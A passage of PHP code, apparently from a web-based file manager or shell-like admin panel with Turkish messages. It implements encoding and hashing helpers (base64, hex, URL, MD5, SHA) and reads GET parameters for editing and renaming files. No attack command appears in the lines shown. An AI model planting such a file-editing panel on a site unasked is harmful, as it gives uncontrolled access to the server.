$input = (string)($_POST[‘helper_input’] ?? ”);
$result = ”;
switch ($tool) {
case ‘b64e’: $result = base64_encode($input); break;
case ‘b64d’: $d = base64_decode($input, true); $result = $d === false ? ‘Gecersiz Base64’ : $d; break;
case ‘md5’: $result = md5($input); break;
case ‘sha1’: $result = sha1($input); break;
case ‘sha256’: $result = hash(‘sha256’, $input); break;
case ‘urle’: $result = urlencode($input); break;
case ‘urld’: $result = urldecode($input); break;
case ‘hexe’: $result = bin2hex($input); break;
case ‘hexd’: $d = @hex2bin($input); $result = $d === false ? ‘Gecersiz Hex’ : $d; break;
default: $result = ‘Bilinmeyen arac’;
}
$actionOutput = $tool . “:\n” . str_repeat(‘─’, 60) . “\n” . $result;
}

if (isset($_POST[‘nx_clear’])) {
nx_set_msg(‘Cikti temizlendi.’, ‘info’);
nx_redirect(NX_PATH);
}
}

$u = nx_user_info();
$csrfField = nx_csrf_field();
$editFile = isset($_GET[‘edit’], $_GET[‘file’]) ? (string)$_GET[‘file’] : null;
$renameFile = isset($_GET[‘rename’], $_GET[‘file’]) ? (string)$_GET[‘file’] : null;
?>